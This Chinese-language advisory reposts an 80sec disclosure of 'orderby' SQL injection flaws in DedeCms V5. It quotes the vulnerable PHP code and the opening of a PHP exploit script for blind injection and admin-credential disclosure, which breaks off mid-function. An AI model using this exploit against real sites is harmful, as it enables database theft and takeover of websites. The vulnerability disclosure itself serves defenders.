漏洞说明:DedeCms由2004年到现在,已经经历了五个版本,从DedeCms V2 开始,DedeCms开发了自己的模板引擎,使用XML名字空间风格的模板,对美工制作的直观性提供了极大的便利,从V2.1开始,DedeCms人气急却上升,成为国内最流行的CMS软件,在DedeCms V3版本中,开始引入了模型的概念,从而摆脱里传统网站内容管理对模块太分散,管理不集中的缺点,但随着时间的发展,发现纯粹用模型化并不能满足用户的需求,从而DedeCms 2007(DedeCms V5)应声而出.80sec在其产品中发现了多个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。漏洞厂商:http://www.dedecms.com漏洞来源:http://www.80sec.com/release/dedecms-sql-injection.txt漏洞解析:在joblist.php和guestbook_admin.php等文件中对orderby参数未做过滤即带入数据库查询,造成多个注射漏洞。漏洞部分代码如下 Quote: -------------------------------------------------------if(empty($orderby)) $orderby = 'pubdate';//重载列表if($dopost=='getlist'){PrintAjaxHead();GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数$dsql->Close();exit();……function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){global $cfg_phpurl,$cfg_ml;$jobs = array();$start = ($pageno-1) * $pagesize;$dsql->SetQuery("Select * From dede_jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");$dsql->Execute();//orderby 带入数据库查询……----------------------------------------------------------漏洞利用:80sec提供攻击测试代码如下(如果发现代码无法测试,请访问80sec官方的txt文档): Quote: <?print_r('--------------------------------------------------------------------------------DedeCms >=5 "orderby" blind SQL injection/admin credentials disclosure exploitBY Flyh4twww.wolvez.orgThx for all the members of W.S.T and my friend Oldjun--------------------------------------------------------------------------------');if ($argc<3) {print_r('--------------------------------------------------------------------------------Usage: php '.$argv[0].’ host pathhost: target server (ip/hostname)path: path to DEDEcmsExample:php ‘.$argv[0].’ localhost /——————————————————————————–‘);die;}function sendpacketii($packet){global $host, $html;$ock=fsockopen(gethostbyname($host),’80′);if (!$ock) {echo ‘No response from ‘.$host; die;}fputs($ock,$packet);$html=”;while (!feof($ock)) {$html.=